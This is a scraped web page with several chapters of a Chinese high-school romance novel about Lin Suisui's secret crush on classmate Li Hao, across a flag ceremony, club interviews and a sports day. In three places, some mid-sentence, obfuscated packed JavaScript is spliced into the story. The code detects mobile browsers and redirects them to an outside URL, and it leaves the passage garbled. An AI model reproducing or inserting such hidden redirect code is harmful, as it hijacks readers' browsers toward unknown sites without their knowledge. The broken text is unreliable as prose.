校园内原本只有高二黄白相间的校服和高三红白相间的校服,现在多了一抹蓝白色,也就是新高一。 青城一中是市内唯一校内级部也要分校服颜色的学校。 林岁岁有点欣赏这样的安排,不单调也充满了纪念感。就像今年的高三离开之后,就由他们接替蓝色,而后有天,他们也会变成高三。 刚从军训结束后修整好的高一新生们,大部分人还尚未进入学习的状态,早自习嘈杂混乱。 值日生在走廊上穿梭不止,偶尔发出几声刺耳的尖叫声,教室内更是乱成一锅粥。 林岁岁看着夏年从书包里抽出一本本言情小说,而后极为谨慎地将它们一个又一个地塞进桌洞。她的表情虔诚又专注,林岁岁看呆,“夏年,你这是把所有的言情小说都拿到学校了吗?” “嘿嘿,这可都是我周末特意去图书市场新买的,还有一半在家呢。” 夏年看着林岁岁探索的表情,开始迫不及待地与她分享,“岁岁,你别老天天看那些看不明白的书,要不你挑一本无聊的时候看一看。” 林岁岁挑眉,其实她言情看的也不少,初中还投过稿,但只是看过一段时间,后来就失去了兴致。 此时此刻她被夏年重新勾起了好奇心,于是随意拿了一本,“那借我看看这本啦。” 倘若自己喜欢的事,身边的朋友也有兴趣,那么分享欲也会愈加泛滥。 于是夏年硬生生拉着林岁岁谈论了半节自习课。 她在夏年停歇的空隙,随意扒拉了几页小说。 隐隐约约看到一句话,“那一天,他高高在上,而后永远高高在上,而她只能隐没于人群中,一直仰视着他。” 林岁岁在这句话上,停滞几秒,睫毛微微颤抖,手指轻轻划过,眼前恍如出现那倚靠在走廊边发着呆的身影。 几秒后,脑海里那抹疏淡的身影消失,陈辉大摇大摆进了教室门。 她们俩的位置靠后窗,不易被发现,但夏年看林岁岁还在发呆,就猛戳了她几下。 林岁岁回过神,慌忙把书捅进桌洞,拿着崭新的冒着油墨味的教科书,开始装模作样的读文言文。 陈辉拿起黑板擦,敲了几下,整个教室寂静无声,只有浮起的粉尘,弥散开来。 “大课间的时候,去广场升旗,叶珩,到时候地上贴着班级,你带好他们。” 叶珩闻言,乖乖点头,林岁岁望着他那寸头,又没忍住弯起唇角。 林岁岁是在妈妈那里听来的这件事,现在想起来依旧觉得好笑。 她和叶珩住在同一个小区,初中又在一个班级,所以两家间不算亲密但也绝对熟悉。自从中考后,叶珩的妈妈一直想要给他剪头发,可是叶珩誓死不从。于是在某个深夜,叶珩的妈妈拿着剪刀,偷偷潜入,一剪刀给他咔嚓了,第二天,叶珩流着眼泪进了理发店。 几只麻雀停留在窗外的栅栏上,叽叽喳喳。 陈辉又交代几句,走前没忍住嘲笑几句,“咱们班还好,没有穿着军训服来上学的傻子,隔壁王义军老师的班,还真有一个傻子...” 王义军是隔壁七班的班主任,也就是李好所在的班。 他应该不会吧? 来时,经过七班时下意识瞟了几眼,但没有看到他,希望等会升旗仪式可以看到他。 挨过了两节无聊的课,大家随着扩音器响亮的音乐,缓慢地走向升旗广场。 已经九点半,阳光愈烈,四面八方涌出人来,一时之间拥挤不已。林岁岁带着夏年和陈雀走了上次去换军训服时走的那条路,人少安静。 夏年一路都在抱怨英语老师段虹,“不是我说,这个英语老师为什么这么装啊,自我介绍都要用英文说,是怕别人看不出来她是英语老师吗?” 陈雀躲过一旁经过的几个男生,“哎,可是她的发音很标准哎,我的就不行,土不拉几的。” 夏年用手揉着陈雀软乎乎的小脸,“哦——陈雀宝贝,你已经很好了。” 林岁岁眼神看向人声鼎沸的广场,“快一点,免得被辉哥骂。” 毫无树木遮拦的广场,阳光骇人,高一八班正对着阳光的方向,林岁岁在四处张望,还未看到某人的身影后,索性闭上眼睛休息。 他个子太高,应该在队伍的最后面,所以才看不到。 夏年贴在她的耳畔,声音上扬,像是羽毛轻挠了林岁岁一下,“听说,等会入学第一要演讲。” 林岁岁嗯了一声,等着她的下文。 她知道夏年不会对谁考了入学第一名这类的事感兴趣,所以一定有其他的事,会让她感兴趣。 果不其然,夏年再次开口:“听说,人长得巨帅。” “是吗?”林岁岁挑眉,但眼睛依旧闭着。 “嗯嗯,我也是听许飘说的,好像叫什么——”夏年停顿几秒,倏地大笑,“岁岁,你快看那,也太好笑了吧。” 林岁岁缓慢睁开眼,刺眼的光刹那进入她的眼眶,她停顿几秒,才顺着夏年的手指的方向看去。 竟然还真的有人傻乎乎的穿着军训服来上学,而且还被安排在演讲台的一侧罚站,林岁岁先前并未注意,此时才看到了一个熟悉的人。 好像是李好身边的那个男生,叫沉嘉遥。 林岁岁看清没有李好后,才事不关己地回道:“的确挺好笑。” 简直是出丑界第一名的程度,被班主任示众,要是她自己在那,估计恨不得挖坑逃跑。 “诶,那个人好熟悉。”夏年眯着眼睛,翘起脚后跟,又仔细瞧了几眼,“还真是他啊!” “谁啊?” “呐,就是左数第二个男生。”恰好是沉嘉遥。 夏年停顿几秒,收回目光,白嫩的小脸这会已经晒得泛红,“我昨天在图书市场碰到他了,他好像是帮人看店,当时我就觉得他阳光帅气,笑起来完全是我的心动类型,于是我还在他那多买了几本书。” 也没想到,这人还真挺搞笑的。 林岁岁听闻,轻声点评,“见色起意。” “哼!这叫一见钟情好吗,我真没想到他也是咱们学校的哎,这也太有缘分了吧。” 一见钟情? 当时军训汇演离得那么近,夏年丝毫没有注意到身旁闹腾的沉嘉遥,却在一场巧合中对他一见钟情,这可能吗? 或许吧,毕竟那时的沉嘉遥满脸油光,不羁的戴着帽子坐在草坪上,和夏年此刻看到的样子有很大差别。 林岁岁眯眼,觉得人生的相遇真的存在时机。 或早或晚,其实都刚刚好。 响亮的国歌响彻全场,气氛肃穆。全体合唱国歌,微风习习,升旗手将飘荡的国旗送上耀眼天空过后,校领导按照顺序开始乏味的上周总结。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而后,他淡然的双眼,才粗略地环视一周,清澈的声音骤起,“尊敬的各位领导、亲爱的同学们,我是高一七班的李好,非常荣幸能在这里作为新生发言……” 林岁岁停滞的大脑开始运转,他的声音干净透彻。周遭炎热难耐,可他却像是把人引入了幽静的山谷深处,潺潺流水流淌过脚踝,刺得骨头生疼。 这样官方又无聊的话语,从他的口中吐出,竟然不违和。 读到停顿处,他还会抬眼一看,和人群有些许眼神互动,某一刻,林岁岁以为他们四目相对。 但人群归于寂静,只有零零散散的人依旧在窃窃私语,对于他的好奇心,大多数人只是谈论惊讶几句,但很快会消散。每个人都会回到原本的轨迹上,继续对其他的事展露出新奇感。 只有林岁岁,不管往后的多少岁月,她都站在台下,望着那个耀眼的少年,听他讲那些无意义的应付场面的话。 一字一句,透过半个广场,落到她的心上。 林岁岁突然想起小说里的那句话。 而她只能隐没于人群之中,一直仰视着他,不能明目张胆,只能偷偷摸摸。 很多故事看似不经意的开始,其实冥冥之中已经预告了结局。 或许以前只是因为无意义的关注,肤浅的一见钟情,但这一天,李好以极其明亮的模样出现在林岁岁的视野里,他站在高高的台上,而她隐没在人群之中,只配抬头遥望他的侧影。 所以又是无数青春里,一个无疾而终的故事。 5. 5 高一匆匆开始,而后匆匆收尾的入学考试,以一场漂泊的大雨宣布落幕。 考完最后一门英语后,楼上楼下到处都是拉回桌子的刺耳摩擦声,林岁岁从窗台上,拿回自己的书,收拾利索后,便跟着夏年一起去洗手间涮拖把。 雨声簌簌,敲打在香樟叶上,叶子油绿如新,黑色成串的果子被打落在地。 嘈杂的走廊上人来人往,夏年从洗手间出来,拎着拖把,林岁岁望向远处,手伸在外面接着雨,消瘦的侧脸在雨雾之中。 林岁岁听到夏年的呼喊,才收回了手,“夏年,你第一节晚自习也去摄影社面试是吧?” “对啊,我和你一起,你有伞对吧。” “嗯嗯,我有。” “哎,那就行,我今天没带伞,真搞不懂为什么老是下雨。”夏年低着头躲避过眼前走廊沉积的小水洼,“岁岁,等会,我鞋带开了。” 林岁岁停顿下来,接过她仍旧在滴答着水的拖把,站在一旁等待着。 她的视线从夏年粉色兔子的发绳上移开,抬眼一瞧,就看到从远处走过来的李好,身旁还有不知说到何事张牙舞爪的沉嘉遥。 李好在笑,肩膀抖动,斜雨闯进走廊,他的黑发沾染湿意,让人想要替他拂去那冰凉的雨。 每次看到他时,心情都特别奇怪,亦或是觉得他奇怪吧。 他这个人真的很奇怪,独处时有种清冷孤独之感,但在喧闹之时,又是那么的明亮柔和,被所有人捧起,却毫无隔阂,明亮却不夺目,依旧混得好。 真的很奇怪,对吧。 少年走过来的步伐,坚定又挺拔,几个瞬间便来到距离林岁岁一步之遥的位置,她慌忙垂头假装和夏年聊天,刘海收住一切神情,伪装住一切心慌意乱。 她听到那人略带笑意的声音,“沉嘉遥,别墨迹,赶紧拖完地去打球。” 毫不意外,林岁岁和夏年离得近,听得一清二楚,夏年在听到沉嘉遥的名字时,就蹭的一下跃起,动作太快,导致夏年身形摇晃,往她那一撞。 林岁岁一时站立不稳,恰好经过的沉嘉遥不小心碰到拖把,轻轻摇晃的滴答着水的拖把,撞在她的小腿肚上,脏兮兮的水滴落在她的校服裤和白皙的小白鞋上。 …… 这算什么事啊! 空气凝滞半响,沉嘉遥挠头,“对不起,对不起,我走路没注意。” 夏年轻咳两声,拽了拽一言不发的林岁岁,她深吸一口气,努力冲着他露出一个勉强的微笑,“没事,我刚刚也没有注意。” 沉嘉遥匆忙转头,“李好,带纸巾了吗,我没带。” 林岁岁其实口袋里有纸巾,但听到沉嘉遥的询问,露出期许的神情,正大光明地看向李好。 李好其实在沉嘉遥未出声询问之前,手已经伸向裤兜,拿出手帕纸,他上前一步,递给林岁岁。 她从未那么用力的笑过,仿佛想要把自己最好看的笑容用尽,“谢谢你。” “没事。” 李好离开,沉嘉遥饱含歉意的冲着她们俩,“抱歉,那我们先走了啊。” 只有夏年还傻乎乎地挥手说着再见,一副依依不舍的模样。 林岁岁的手心摩擦着那包心相印,舍不得用,还是等着回教室用自己的纸擦一擦吧。 夏年有一个极坏的小毛病,遇到帅哥靠近,就会掐住身边人的手臂。此刻,林岁岁已忍无可忍,“人都走了,你能松开我吗?” “好帅啊他,呜呜呜。” 她翻了一个白眼,将拖把塞进夏年的手里,大步走向教室。 夏年跟在后面,“岁岁,你走慢点啊。” 教室里,有不少人已经去食堂吃晚饭,屋子安安静静的,只有几人趴在桌上休息,两人也没敢太闹腾,轻手轻脚收拾一下,前去食堂。 陈雀早已贴心地为她们俩买好了饭,乖巧坐在食堂等着。 夏年看到陈雀,就一个箭步冲了过去,着急分享刚才的事,“陈雀,你猜我今天和岁岁撞到谁了?” 陈雀看见林岁岁一脸无奈的神情,了然,“我猜猜,沉嘉遥?” “诶,神了你。” 自从那次升旗仪式后,夏年发现他竟然就在隔壁七班时,痛心疾首。夏年那时的心理活动是,离得那么近,我却没有早发觉有那么帅的人?! 从而摘下了自己帅哥雷达器的称呼,当然授予她这个称呼的也是她本人。 这几天下来,林岁岁和陈雀被沉嘉遥这个名字洗脑,痛苦不堪。不是陈雀猜的准,其实是因为夏年十句不离这个名字而已。 “你说,这个能坚持多久。”陈雀吸了一口草莓牛奶。 “按照军训时,十班那个体育生来算的话,最多这个星期,就换了。” “我觉得这次不一样,出现的频率太高,打赌吗?” 林岁岁点头,指着她手里的草莓牛奶,“两瓶。” 陈雀狠了狠心,“OK” 夏年在一旁咬着筷子,忍无可忍,“你们俩,议论的时候可以不要让我听见吗?” 两人张着嘴佯装震惊,异口同声,“就是为了让你听见我们俩才说的啊。” / 当天晚自习前的大课间,淅淅沥沥的细雨没完没了地下着,水面倒映着昏黄的灯光,从食堂归来的学生踩过水面,光影也随之颤抖。 林岁岁和夏年前往艺体馆去面试社团。 两人刚下楼梯,便听到某道清脆的声音响起,“夏年,等等我,我和你们一起!” 林岁岁转了转刚打开的蓝格子伞,看向不远处的许飘,许飘高耸的马尾随着她的跑动而摇晃不停,漂亮的桃花眼,溢出甜美的笑。 夏年停顿几秒,待许飘来到跟前,“许飘,你也要去面试吗?” 许飘撩起碎发,声音细腻发甜,“对啊,我要去面试学生会,要不是他们提醒我,我差点就忘记了。” 出来教学楼,夏年没有带伞,林岁岁和许飘人手一把,夏年在她们俩开伞时,有意抬眼看了一眼林岁岁。 她们俩和许飘不算熟悉,但若同行夏年便下意识担心会忽略许飘,又怕林岁岁多想,索性向她传达一下自己的想法。 林岁岁知晓她的意图,轻轻点头,便看着夏年钻进许飘的伞中。 本是小事,夏年这样的做法,没有伤害到林岁岁,反而让她在冷寂的雨里暖意弥漫。 夏年惊讶的声音传来,“诶,据说那个学生会长长得巨帅哎。” 那一瞬间,林岁岁想起她之前也是那么说入学第一名的,可信度还挺高,所以这次她没有急着反驳,免得打脸。 许飘转转伞把,雨珠飞散,“管他帅不帅呢,我只想进了学生会以后逃课方便一点。” 夏年激动,“好哎,祝你成功,我的逃课也靠你了。” 远处的篮球场上传来男生呼喊的声音,林岁岁和夏年先前都偷听到李好和沉嘉遥要去打球的事,此刻都不约而同地看向篮球场。 夏年是明目张胆,林岁岁则是轻抬伞面,悄悄露出眼睛,随意一瞥。 细雨落在少年们的身上,但他们依旧热气腾腾,来回跑动。 竟然真让她瞧到了那个人的身影。李好抢过球,一步两步,轻轻一跳,手腕用力扔出球,篮球稳稳当当进框,动作干净利落,不似那些炫技耍帅的男生。 急促的上课铃一瞬间弥漫整个校园,远处的教学楼走廊上闲聊的人慢慢悠悠晃进教室,眼前篮球场上的人,也拿起球,跑了起来。 男生们带着一股潮湿感,从林岁岁眼前跑过,李好的头发湿漉漉的,竟然有点像一只淋了雨的小狗。 许飘扬起伞,冲着他们喊了一句,“沉嘉遥——” 沉嘉遥挥手,“哎,好巧。” 夏年哽住,眼见着沉嘉遥打过招呼后,隐没在路灯昏黄的光影里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499046|170253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她激动地拽着许飘,“许飘,你认识沉嘉遥?” 许飘不解:“是啊,我和他在隔壁云城一块上过学,小学一个班初中也是一个班,李好也是,所以挺熟的。” “哇,那你快给我讲讲沉嘉遥!”夏年整个人都亢奋起来,没有想到他们班还有和沉嘉遥那么熟悉的人,可不能放过打探消息的机会。 “你该不会喜欢他吧?” “有一点吧。” 一旁的林岁岁也想了解一下李好,她握紧伞,悄悄往她们那边凑了凑。 希望许飘可以略微提一下李好,或者自己要不要试探地问一问,该怎么问才能不被怀疑呢。 “沉嘉遥这个人挺仗义的,人也挺好的,喜欢他的女生也很多。”许飘倒是一副认真思考的模样,夏年听她这样回答,有些沮丧。 许飘看她这副沮丧的小模样,没忍住笑,“他旁边那个李好不行吗,学习又好,长得比他帅多了。而且他人真的很好,那事是要发生在我身上...” 林岁岁正听得入神,却一下子被夏年打断,“李好不是我喜欢的类型啦,我就喜欢阳光开朗,又痞坏痞坏的那种。” 许飘听闻,点点头,“也是,男人不坏,女人不爱。” 雨雾朦胧,林岁岁纤细的手沾染雨珠,黏糊糊一片,她想起那天他独自站在走廊上的身影,伶仃疏淡。 听许飘说到一半停顿的话语,她想他一定是经历过什么事情,才显得那样孤寂。 可是,是什么呢,她猜不到。 / 林岁岁刚进文学社的面试教室,便看到周一升旗仪式做主持人的那个高二学姐。 学姐看到她进来,轻揉眼睛,“我没看错吧,盈盈,竟然真的有学妹来了。” 旁边的学姐也感动道:“你没看错,真的是有人。” 林岁岁左右一看,发觉这空旷的教室,只有她们三个,顿时有些许尴尬。 “好啦,你正式成为我们文学社的一员了。我叫阮白,是文学社的社长。”主持人学姐俯身朝林岁岁笑着说道。 林岁岁第一次遇到这样长相精致的女生,未施粉霜却仍能吸引她的视线。软软的长发散落,林岁岁不知道她是如何抵抗住校规,留住这样顺滑的长发,还没有被开除掉的。 林岁岁诧异,“这么草率的吗?” “学妹,我们待到现在,就你一个人来了。”阮白委屈巴巴装可怜的表情,令林岁岁招架不住,无奈咽了咽口水。 “那,我就不客气了。” 林岁岁看着两人哄笑一团,自己莫名其妙的逗笑了两位学姐。 不过好在,文学社还未衰落彻底,陆续有高一生进入教室,阮白被他们围着争相提问,脸上的喜悦清晰可见。 / 回教室时,雨不知何时已经停歇,寂静幽深的校园空无一人,远处的教学楼亮如白昼,在夜晚像是一艘热闹的轮船,载了无数迷茫的青春旅人。 林岁岁挽着夏年的手臂,跳过一个水坑,“所以许飘就和学生会长当面吵起来了?” “是啊,那个顾成蹊学长一直冷着脸,简直不要太可怕,那气氛我也不敢久待,草草一看,就去找你了。” “留许飘在那,好吗?” “她正好和她之前的好朋友在一起,没事的。” 在青春时代,总会有一些离经叛道的人存在,他们不被书本框住,却恰恰在这个沉闷的校园里,创造出数不清的事故与传说,他们在这个年纪有无数的可能性,与林岁岁这类循规蹈矩的人不同的可能性。 似乎许多人在上高中以前,都有万般憧憬,好像自己一夜就会长大,可以独立到住宿舍,也可以按耐不住地去心动。但大多数的人,高中生活是黑暗且无趣的,那些轰轰烈烈的故事,只存在于薄薄的纸张上。 对于林岁岁这样的大多数而言,安安静静,悄然度过每一天,才是常态。 6. 6 九月底,接连几天的雨,让青城的清晨泛起不散的白雾。 结束冗长的数学两节连堂课,高一八班五十多个人全都萎靡不振地趴在桌上休息,走廊时不时传来欢声笑语,像是乏味的梦,又是平凡的一天。 从代班长到成为正式班长的叶珩,走上讲台,声音开朗响亮,“下周就是运动会了,我希望大家还是踊跃报名啊,毕竟是我们的第一次运动会。” 底下鸦雀无声。 他尴尬地摸了摸头顶,“咳咳,我现在就统计一下,大家都仔细考虑考虑,一直截止到这周五哈。” 换位置到第二排的林岁岁同情地朝他一笑,叶珩耸耸肩,无奈撇嘴,干净的少年充满不好意思。 叶珩下来讲台,顺着座位询问每个人的运动会报名意向。 很快就到林岁岁身边,叶珩很高,和李好差不多高,此时站在桌前,巨大的身影将林岁岁和身旁正在偷看小说的夏年包裹着,极具压迫感。 夏年在黑色阴影覆盖过来的一瞬间,便熟练地把小说塞进桌洞,抬头傻笑,“辉哥……” 看清是叶珩后,她翻了个白眼,林岁岁差点怕她眼珠子转不过来。 “叶珩,你有病吧,站这不说话干什么啊!” “我这不正要开口吗!”叶珩反驳。 夏年气鼓鼓地瞪着他,等待着他的下文。叶珩笑得殷勤,“岁岁,你报什么项目啊?” 从初中开始,林岁岁的运动会报名项目从没有低于三项,一半原因是因为她好说话,另一半是因为她单薄的身子却跑得飞快。 夏年曾说她是因为腿短频率快,被当事人一顿暴打。 林岁岁思索几秒,“呃,就一百,四百和八百米吧。” 叶珩的眼神充斥着感恩的情绪,不得不说,还是林岁岁这个小柿子好捏。 夏年凑过来,“岁岁,你疯了吧!报这么多,不怕跑死啊。” 她还未回应,叶珩的声音又传来,“夏年,你看看要不也报点什么吧。” “我才不要。” 林岁岁弯唇一笑,“你就支持一下班长工作吧。” 夏年咬唇,似乎想起叶珩每次都帮她把收走的言情小说从陈辉那里偷回来,叹了口气,“行吧行吧,那就五十米和一百米吧。” 她还颇有威胁性地加了句,“你要敢偷偷给我乱报,你就死定了。” 叶珩比了个发誓的手势。 / 秋季运动会,按照惯例在国庆假期前两天举行,但林岁岁第一次没有早早进入运动会的放松气氛。 运动会前一晚的晚自习,乌泱泱的教室,充斥着沙沙的书写声。 不愧是重点中学,假期在即,也心无旁骛一心只读圣贤书。 夏年目送许飘离开教室后,羡慕使她面目全非,“为什么许飘就可以去进行开幕式的彩排,我们却要上晚自习,这不公平!” 林岁岁停下计算函数的笔和运转的大脑,“要不,你也去学个特长?” “呜呜,你不可爱了,岁岁。” 林岁岁给她顺毛,终了又附上一句:“哎,你还是好好学习吧,国庆回来就是月考了。” “岁岁,你越来越不可爱了!” 夏年想起老夏在家和她吵架的场面。 夏长辉声音洪亮,扯着嗓子整栋楼都要为之颤抖,“你个死丫头,月考要是还考倒数,我就把你的言情小说全烧了,电脑也给你砸了。” 虽然她知晓老夏只是嘴上说说,但是她还是想要过安生日子的,别像入学考那时一样,天天吵得她都要精神抑郁了。 夏年望着林岁岁认真而专注的侧颜,叹了口气,认命的低头做那该死的化学试卷。 / 运动会当日,大抵是热闹的氛围太过高涨,连天都转晴。 虽说青城一中的学生是全市之中的佼佼者,但也是处于青春正浓烈的时期,在这样难得可以放松下来,肆意奔跑的日子里,连晒太阳这件事都变得柔和起来,没有那么难熬。 烈日当头,大部分坐在操场看台的女生,都把校服外套盖在头上,不少胆子大的,还带着遮阳伞偷偷用着。 林岁岁靠在陈雀身上,懒懒散散地写着加油稿.陈雀则在一旁背着《鸿门宴》,校服外套将她们俩护在阴影中,与刺眼的光隔绝,看不清外面的景象,但听着声音也知晓一定无比热闹。 扩音器里放着大到学校隔壁小区都能听到的音乐,与看台上连绵不绝的加油呼喊交织在一起,混乱不堪。 林岁岁将写好的加油稿递给前面的文艺委员乔嘉,转头看向仍在背书的陈雀,不免佩服她的专注力,这样嘈杂的环境下,她也只能看得下去言情小说了。 林岁岁揉揉因写太多加油稿而略显疼痛的手腕,“陈雀,夏年怎么去那么久?” 夏年拿着夏长辉买的相机到处拍来拍去,摄影社的许可证让她在内场的活动方便不少,一上午,都在操场上拍照。 陈雀思索片刻,“叶珩二百米预赛,她去拍照了,说是等你四百米检录的时候回来。” “她还真是比运动员还要忙碌。” 由于项目繁多,操场上人来人往,比赛的枪声西一枪东一枪,使得看台上的人总是不经意间心颤。 林岁岁的四百米等也没等到,被延迟到下午检录。 下午三点一刻,天边却隐隐飘来几片孤零零的乌云,染了一半的墨色。 林岁岁正在进行四百米检录,她看着似乎要下雨的天,沉默地叹气,好像记忆里的每一次运动会,都会有一场猝不及防的雨。 林岁岁在起点等待着,想着等我跑完再下雨吧。 夏年在操场的场地上转来转去,此刻才有时间跑回八班的座位区,和陈雀一起站在看区的栏杆朝林岁岁挥手,她笑着回应。 林岁岁目视前方,心脏砰砰直跳,等待着那一声枪响。 随后“砰”的一声枪响。 林岁岁为了不影响发挥,扎起不长的短发,几缕碎发随着风飞扬,看不清周遭的人。跑过自己班时,耳边除了呼啸的风声,还能听到他们不停地喊“林岁岁加油”。 在她的心里,运动会就是这样特别的存在。 无论平时在教室里你有多么的普通寡言,在这样的时刻下,永远都会有人为你呐喊加油,仿佛那些力量会穿越半个操场,稳稳地落到正在奔跑的人身上。 所以,林岁岁喜欢跑步,有种把世界甩在身后的感觉。任凭风如何呼啸,她只要跑下去就好,其他都可以不用管。 她跑到一半时,两眼发昏,喉咙发紧,但听到身后传来急促的脚步声,依旧咬紧牙关,紧紧维持着第一名。 一圈很快结束,转过弯道快到终点时,夏年才在书包里找出另一个相机内存条,着急忙慌得拖着陈雀下了看台,想要近距离再给林岁岁拍些照片。 “我的天,她跑的太快了。陈雀你快点啊,不然赶不上她过来了。”夏年捧着相机,转过楼梯,长久未修缮的楼梯,有些陡峭。 “夏年,你小心着点。”陈雀话音刚落,夏年刚转过弯,就迎面而来的人撞了个满怀。 陈雀看清撞上的是谁时,一时嘁了声。 夏年被这么一撞,手里的相机不小心落地,相机顺着台阶滚落下去的那瞬间,夏年整个脑袋都嗡嗡作响,第一反应是回家她爸会肯定打死她。 男生一声闷哼,接着说了句“卧槽。” “沉嘉遥!”夏年回过神,此刻也不顾及对面是她颇有好感的男生,毕竟夏长辉同志可能会打断她的腿。 沉嘉遥松开下意识护住女生的双手,“你有病啊,跑这么快?诶——你怎么知道我叫什么?” 夏年收起一瞬间的羞涩,回过神去关心她的相机,“啊啊啊——我的相机!”她看到相机稳稳地落在跑道警戒线外,推开呆愣的男生,飞快地冲下楼梯。 “夏年,你没事吧?”陈雀着急跑到夏年旁边。 夏年拿起相机,转过身,气势汹汹地要找沉嘉遥理论。 林岁岁快到终点前,从她们身旁跑过,只隐约看到夏年怒气冲冲的样子。 冲过终点线,她缓了几秒,等着裁判员统计好名次,便晕晕乎乎朝她们俩走去。 刚跑完步,她两眼发黑地眩晕,走着不免摇摇晃晃,一个没注意脚下就被凸起的石子绊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499047|170253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒,向前踉跄。 本以为马上要和地面来一个亲密接触,林岁岁紧闭双眼,暗自吐槽自己怎么这么倒霉。 可却没有迎来疼痛,反而有人握住她的手臂,稳稳地将她拉起。 “小心。”声线低沉,只觉得无比熟悉。 “谢谢。”林岁岁奔跑后的嗓音有些沙哑,她吞咽掉嘴里的酸,才迟钝的看了一眼对方。 剧烈运动过后的心跳声还未平复,此刻又如擂鼓般猛烈。 眼前的人正是李好。 中国式校服在他的身上却那么贴合,淡蓝的校服让他愈加显得白皙。少年细碎的发,被风吹得发乱,但也挡不住他漆黑却明亮的眼睛。 林岁岁低头看去,看着他修长、骨节分明的手正攥着自己的手臂,她那一块皮肤像是被灼烧到,滚烫不已,慌忙抽出来。 阴沉的天,终于开始掉落雨滴,几滴啪地打在林岁岁的手背上,她突然感到心里很涩。 林岁岁挤出笑道谢,“谢谢。” “没事。”李好看到她没有大碍,便礼貌笑着回应,转身离开。 他们好像总在说谢谢,没事,除此之外再无别的了。 林岁岁跟在他身后,眼眸黯淡,向着夏年和陈雀走去。 “岁岁。”陈雀看向她。 林岁岁看着蹲在地上哭的夏年,和一旁不知所措的沉嘉遥、陈雀。 一时不知道什么情况。 “怎么了”林岁岁和李好同时开口。 她用余光瞥了一眼,只看到他微微卷起的衣角。 陈雀把准备好的矿泉水塞给她,“夏年下来的时候,咳咳,不小心和那谁撞了,相机...相机摔坏了。” 夏年泪眼汪汪看着她们俩,“我爸爸会宰了我的。” 这种程度,除非她考个级部第一,夏长辉才会一笔勾销。 “哎呀,你别哭了,我又不是不赔。”一旁的沉嘉遥很是心累,他重复了很多遍,自己会帮她修的,但这个女生就是一直哭个不停。 这个尴尬的局面能够结束,还是因为揣着兜正好经过的陈辉和七班班主任王义军。 “李好你们怎么在这?” “夏年,你蹲地上哭啥呢?” 像是各自认领自己的孩子。 两个班主任搭档多年,这种鸡毛蒜皮的小事算什么事。 最终夏年老老实实把破损的相机交给沉嘉遥,“哼哼”两声,沉嘉遥莫名。 / 也正好是此次的相机事件,夏年和沉嘉遥从原本的单向箭头,变成了双向箭头的欢喜冤家。 林岁岁在运动会第二天上午跑完八百后,气喘吁吁地坐在终点的跑道旁,放肆地喝着水。 夏年用校服外套帮她挡住阳光,明明是一副友情无限美好的场景。可下一秒夏年却猛地松手,衣服落在了林岁岁的头上。 林岁岁一脸懵状,挣开衣服,发现夏年站在面前往一边望去。 沉嘉遥也刚刚结束了项目,正喝着水,身旁的李好,肩上搭着沉嘉遥的外套。 两人只顾着聊天,刚巧经过她们俩面前时,沉嘉遥拿起水瓶想要喝水。夏年等待已久,露出坏笑,她要的就是这个时候,伸手把水瓶往上一抬,一拍。 沉嘉遥被水一呛,猛咳几声,不幸喷落的水,落在炙热的红色跑道上。 “夏年——你有病吧。” 夏年挑眉,“哎呀,不好意思,我刚刚就是想伸个懒腰。”然后潇洒离开。 林岁岁起身,双腿软绵绵地跟上。 沉嘉遥气急败坏,身旁的李好也忍不住笑,林岁岁装作不经意的向他那一瞥。 她时常在走廊上,偷偷寻找他的身影,他每次笑起来都散发出柔和的气场,她沉迷于这种暗暗的偷窥。 她也跟着笑起来,发涩的甜。 走到夏年身,她劝道:“夏年,你的相机还在他手里呢。” “哼哼,他能拿我怎么样。”夏年表达不满。 但是,夏年偷着乐了几秒,又回归到花痴的模样,“我用相机换了一个认识,赚了吧。” 林岁岁无奈一笑,“那的确是赚了。” 7. 7 国庆七天的假期结束,返校的第一天。所谓一日不见如隔三秋,大家仿佛有说不完的话,一进教室就开始拉着彼此聊天。 有的进门就开始抄作业,有的趁着假期出去旅行晒黑不少被围着嘲笑,有的则偷偷摸摸几日不见躲在水房聊悄悄话…… 教室的一角,林岁岁低头给陈雀讲着题,趁着陈雀蹙眉思考,她抬头看着眼前的这一幕,突然有种莫名的感觉,好像这场景在多年后也依然清晰。 夏年身上沾染了夏长辉车里的烟味,一股脑冲进教室后,摔下书包喊着,“快快快,看看我洗出来的新鲜照片。” 陈雀不急不慢地收起放在夏年桌上的习题册,林岁岁挑眉,“这么快相机就修好了。” “嗯嗯,沉嘉遥在□□上给我发了消息,说相机修好了,照片也洗好了。” 夏年迫不及待地把众多的照片从书包翻找出来,想要与他们分享。 清晨的青城一中,只有远处的高二高三楼传来晴朗的读书声,此时的高一楼只有几声清脆的鸟啼。 楼前的树,高高低低,树枝蔓延进走廊,树叶泛黄。 八班的人都被夏年这边的声响吸引过来,大家都围在夏年的座位旁,看着满桌的照片,嘻嘻闹闹,一片和谐。 “哈哈哈,这张辉哥也太好笑了吧。”班里一个活泼外向的男生拿着照片笑个不停。 夏年偷拍的陈辉,正在为跑步的同学加油,面目狰狞,用力的很好笑。 